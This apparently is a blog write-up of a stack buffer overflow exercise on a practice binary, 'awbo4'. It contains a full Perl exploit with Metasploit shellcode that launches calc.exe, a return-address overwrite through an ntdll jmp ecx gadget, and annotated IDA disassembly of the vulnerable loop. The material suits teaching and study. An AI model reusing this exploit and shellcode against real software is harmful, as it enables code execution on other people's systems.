#!/usr/bin/perl -w # windows/exec - 121 bytes # http://www.metasploit.com # EXITFUNC=seh, CMD=calc.exe $shellcode = "\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01" . "\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01" . "\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2" . "\xeb\xf4\x3b\x54\x24\x04\x75\xe5\x8b\x5f\x24\x01\xeb\x66" . "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x8b\x1c\x8b\x01\xeb\x89" . "\x5c\x24\x04\xc3\x5f\x31\xf6\x60\x56\x64\x8b\x46\x30\x8b" . "\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\x89\xf8\x83\xc0\x6a" . "\x50\x68\xf0\x8a\x04\x5f\x68\x98\xfe\x8a\x0e\x57\xff\xe7" . "\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"; $buf = "B" x 128; # 128 bytes of filler $buf .= "\x8b"; # overwrite count so it points to ret $buf .= "\x78\x43\xf8\x77"; # jmp ecx from ntdll.dll $buf .= "A"; # "A" so that the ret branch is taken $buf .= "A" x 27; # 27 bytes of filler $buf .= $shellcode; # shellcode print $buf;
Here are my notes on IDA's output.
... loc_401011: mov eax, stru_406030._cnt ; copy cnt from a structure into eax--buf count sub eax, 1 ; subtract 1 from it mov stru_406030._cnt, eax ; copy it back to the structure cmp stru_406030._cnt, 0 ; compare cnt against 0 jl short loc_40104B ; if cnt is less than 0, jump to loc_40104B mov ecx, stru_406030._ptr ; copy pointer to buf into ecx movsx edx, byte ptr [ecx] ; copy what ecx points to into edx and edx, 0FFh ; mask off everything except lsb--character from buf mov [ebp+var_8C], edx ; copy character to ebp-140 mov eax, stru_406030._ptr ; copy pointer to buf into eax add eax, 1 ; add 1 to it mov stru_406030._ptr, eax ; copy it back to structure jmp short loc_40105E ; jump to loc_40105E loc_40104B: ; FILE * push offset stru_406030 ; push a pointer to a FILE structure onto the stack call __filbuf ; call filbuf() -- takes input from stdin and writes it to a buffer in the data section? add esp, 4 ; clean up function parameters mov [ebp+var_8C], eax ; copy return value--first character of buf--to ebp-140 loc_40105E: mov cl, byte ptr [ebp+var_8C] ; copy ebp-140 into low order byte of ecx--character to copy from data section to stack mov [ebp+var_4], cl ; copy low order byte of ecx to ebp-4 movsx edx, [ebp+var_4] ; copy and sign extend? ebp-4 to edx cmp edx, 41h ; compare edx to 0x41 ("A") jz short loc_40108D ; if edx equals "A", jump to loc_40108D--return path mov eax, [ebp+var_8] ; copy ebp-8 into eax--counter on stack and eax, 0FFh ; mask off everything except lsb mov cl, [ebp+var_4] ; copy ebp-4 into lsb of ecx mov [ebp+eax+var_88], cl ; copy lsb of ecx to the stack based on ebp + counter in eax - 88 mov dl, byte ptr [ebp+var_8] ; copy counter in ebp-8 into lsb edx add dl, 1 ; add 1 to counter mov byte ptr [ebp+var_8], dl ; copy it back to ebp-8 jmp short loc_401011 ; jump back to loc_401011 loc_40108D: -- return path ... retn ; gimme your calc.exe _main endp
awbo4 calls a function, filebuf(), that takes input from stdin and writes it somewhere in data land.
Then it loops through this buffer testing each character against 'A'. If an 'A' is seen, it breaks out of the loop and main returns, else it copies the character onto the stack. Fortunately for me, it just blindly copies characters to the stack without bounds checking.
There's an additional counter on the stack at ebp-8, that controls where on the stack the next character is written. This counter itself, can be overwritten. If this counter is carefully overwritten, it lets me overwrite main()'s saved return address
On return, ECX conveniently points to a piece of the input buffer, letting a call ecx instruction execute some shellcode.
No comments:
Post a Comment